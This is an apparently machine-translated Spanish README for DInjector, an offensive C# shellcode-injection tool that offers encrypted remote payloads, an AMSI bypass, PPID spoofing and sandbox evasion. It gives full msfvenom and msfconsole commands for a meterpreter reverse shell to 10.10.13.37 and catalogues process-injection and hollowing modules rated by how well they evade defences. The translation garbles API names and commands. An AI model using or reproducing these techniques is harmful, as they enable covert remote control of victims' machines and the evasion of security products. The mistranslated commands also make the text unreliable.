Inyector repositorio es una acumulación de mis fragmentos de código para varios inyección de shellcode técnicas utilizando la fantástica API D/Invoke de @TheWover y @FuzzySecurity.
Características:
- Completamente portado a D/Invoke API
- Cargas útiles cifradas que se pueden invocar desde una URL o pasar en base64 como argumento
- Bypass AMSI incorporado
- Falsificación de PPID y bloqueo de archivos DLL que no son de Microsoft (robados de TikiTorch, el informe está aquí)
- Detección y evasión de Sandbox
ℹ️ Según mis pruebas, el paquete DInvoke NuGet en sí está siendo señalado por muchas soluciones AV/EDR comerciales cuando se incluye como un recurso integrado a través de Costura.Fody (o enfoques similares), por lo que lo he reducido un poco e incluido desde la fuente para lograr mejor OpSec.
DESCARGO DE RESPONSABILIDAD. Toda la información contenida en este repositorio se proporciona únicamente con fines educativos y de investigación. El autor no es responsable del uso ilegal de esta herramienta.
- Compilar el proyecto en VS.
- Genere un shellcode para su C2 favorito:
~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin
Cifrar el código shell:
~$ encrypt.py shellcode.bin -p ‘Contraseña!’ -o enc
Sirva el shellcode encriptado y prepare el oyente C2:
~$ sudo python3 -m http.servidor 80
~$ sudo msfconsole -qx «usar exploit/multi/handler; establecer payload windows/x64/meterpreter/reverse_winhttps; establecer lhost 10.10.13.37; establecer lport 443; establecer hilo EXITFUNC; ejecutar»
- Utilice la base de descarga de PowerShell para cargar DInjector.dll como
System.Reflection.Assembly
y ejecutarlo de memoria.
I no recomiendo poner el ensamblaje en el disco porque es muy probable que esté marcado.
Argumentos globales requeridos:
Nombre | Valor de ejemplo | Descripción |
---|---|---|
/am51 |
True , False |
Aplica derivación AMSI |
/sc |
http://10.10.13.37/enc |
Establece la ruta del shellcode (se puede cargar desde la URL o como una cadena Base64) |
/password |
Passw0rd! |
Establece la contraseña para descifrar el shellcode |
Las consideraciones seguras de OpSec se basan en mi experiencia de uso personal y algunas pruebas en el camino.
module_name: ‘funciónpointer’
descripción:
Asigna una región de memoria RW, copia el shellcode en ella
y lo ejecuta como una función.
llamadas:
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: falso
referencias:
‘http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/’
‘https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-sin-windows-apis’
‘https://www.fergonez.net/post/shellcode-csharp’
FunctionPointerV2
module_name: ‘functionpointerv2’
descripción:
Establece RX en una matriz de bytes y la ejecuta como una función.
llamadas:
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: falso
referencias:
‘https://jhalon.github.io/utilizando-syscalls-in-csharp-1/’
‘https://jhalon.github.io/utilizando-syscalls-in-csharp-2/’
‘https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs’
PortapapelesPuntero
module_name: ‘puntero del portapapeles’
descripción:
Copia bytes de shellcode en el portapapeles,
establece RX en él y lo ejecuta como una función.
llamadas:
usuario32.dll:
1: ‘Abrir Portapapeles’
2: ‘Establecer datos del portapapeles’
3: ‘Cerrar portapapeles’
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: verdadero
referencias:
Subproceso actual
module_name: ‘hilo actual’
descripción:
Inyecta shellcode en el proceso actual.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
3: ‘NtCreateThreadEx’
4: ‘NtWaitForSingleObject’
5: ‘NtFreeVirtualMemory (código de shell)’
opsec_safe: falso
referencias:
‘https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs’
SubprocesoActualUuid
module_name: ‘currentthreaduuid’
descripción:
Inyecta shellcode en el proceso actual.
Ejecución de subprocesos a través de EnumSystemLocalesA.
llamadas:
kernel32.dll:
1: ‘Crear montón’
2: ‘EnumSystemLocalesA’
rpcrt4.dll:
1: ‘UuidDeCadenaA’
opsec_safe: falso
referencias:
‘https://blog.sunggwanchoi.com/eng-uuid-shellcode-ejecución/’
‘https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs’
Subproceso remoto
module_name: ‘hilo remoto’
argumentos:
/pid:1337
descripción:
Inyecta shellcode en un proceso remoto existente.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtOpenProceso’
2: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
3: ‘NtWriteVirtualMemory (código de shell)’
4: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
5: ‘NtCreateThreadEx’
opsec_safe: falso
referencias:
‘https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs’
RemoteThreadDll
module_name: ‘remotethreaddll’
argumentos:
/pid:1337
/dll:msvcp_win.dll
descripción:
Inyecta shellcode en un proceso remoto existente
sobrescribiendo una de las secciones .text de sus módulos cargados.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtOpenProceso’
2: ‘NtWriteVirtualMemory (código de shell)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx’
opsec_seguro: –
referencias:
‘https://www.netero1010-securitylab.com/eavsion/alternative-process-injection’
RemoteThreadContextRemoteThreadContext
module_name: ‘remotethreadcontext’
argumentos:
/imagen:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:Verdadero
descripción:
Inyecta shellcode en un proceso remoto recién generado.
Ejecución de subprocesos a través de SetThreadContext.
llamadas:
kernel32.dll:
1: ‘InicializarProcThreadAttributeList’
2: ‘ActualizarProcThreadAttribute (blockDLL)’
3: ‘ActualizarProcThreadAttribute (PPID)’
4: ‘CrearProcesoA’
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtWriteVirtualMemory (código de shell)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx (CREATE_SUSPENDED)’
5: ‘GetThreadContext’
6: ‘Establecer contexto de subproceso’
7: ‘NtResumeThread’
opsec_safe: verdadero
referencias:
‘https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/’
‘https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs’
ProcesoHueco
module_name: ‘proceso hueco’
argumentos:
/imagen:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:Verdadero
descripción:
Inyecta shellcode en un proceso remoto recién generado.
Ejecución de subprocesos a través de NtResumeThread (hueco con shellcode).
llamadas:
kernel32.dll:
1: ‘InicializarProcThreadAttributeList’
2: ‘ActualizarProcThreadAttribute (blockDLL)’
3: ‘ActualizarProcThreadAttribute (PPID)’
4: ‘CrearProcesoA’
ntdll.dll:
1: ‘NtQueryInformationProcess’
2: ‘NtReadVirtualMemory (ptrImageBaseAddress)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)’
4: ‘NtWriteVirtualMemory (código de shell)’
5: ‘NtProtectVirtualMemory (antigua protección)’
6: ‘NtResumeThread’
opsec_safe: falso
referencias:
‘https://github.com/CCob/SharpBlock/blob/master/Program.cs’